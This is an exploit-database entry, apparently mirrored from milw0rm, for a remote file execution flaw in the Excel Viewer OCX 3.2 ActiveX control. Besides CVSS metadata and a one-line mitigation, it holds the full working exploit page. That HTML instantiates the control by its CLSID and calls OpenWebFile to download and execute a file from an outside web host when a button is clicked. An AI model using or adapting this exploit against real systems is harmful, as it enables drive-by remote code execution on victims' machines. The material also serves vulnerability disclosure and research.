Excel Viewer OCX 3.2 Remote File execution exploit

vendor:

Excel Viewer OCX

by:

Mountassif Moad a.k.a Stack

9.3

CVSS

HIGH

Remote File execution

CWE

Product Name: Excel Viewer OCX

Affected Version From: 3.2

Affected Version To: 3.2

Patch Exists: YES

Related CWE: N/A

CPE: a:microsoft:excel_viewer_ocx

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Excel Viewer OCX 3.2 Remote File execution exploit

This exploit allows a remote attacker to execute arbitrary code on a vulnerable system by using the OpenWebFile method of the Excel Viewer OCX 3.2 ActiveX control. The vulnerability is due to a lack of input validation when handling the OpenWebFile method, which allows an attacker to specify a remote file to be downloaded and executed on the vulnerable system.

Mitigation:

The vendor has released a patch to address this vulnerability.

Source

Exploit-DB raw data:

<HTML>
---------------------------------------------------------- <br>
 Excel Viewer OCX 3.2 Remote File execution exploit        <br>
---------------------------------------------------------- <br>
-----------------------------------<br>
#  By Mountassif Moad a.k.a Stack #
-----------------------------------<br>
<!--
v4 Team & evil finger
Class EXCEL
GUID: {18A295DA-088E-42D1-BE31-5028D7F9B965}
Number of Interfaces: 1
Default Interface: _DEXCEL
RegKey Safe for Script: True
RegkeySafe for Init: True
KillBitSet: False
Report for Clsid: {18A295DA-088E-42D1-BE31-5028D7F9B965}
RegKey Safe for Script: True
RegKey Safe for Init: True
Implements IObjectSafety: True
IDisp Safe:  Safe for untrusted: caller,data 
IPersist Safe:  Safe for untrusted: caller,data 
IPStorage Safe:  Safe for untrusted: caller,data   -->
<title>Excel Viewer OCX 3.2 Remote File execution exploit</title>
<BODY>
 <object id=Stack classid="clsid:{18A295DA-088E-42D1-BE31-5028D7F9B965}"></object>
<SCRIPT>
function Do_it()
 {
   File = "http://monmaroc.com/calc.exe"
   Stack.OpenWebFile(File)
 }

</SCRIPT>
<input language=JavaScript onclick=Do_it() type=button value="exploit">
</body>
</HTML>

# milw0rm.com [2009-01-14]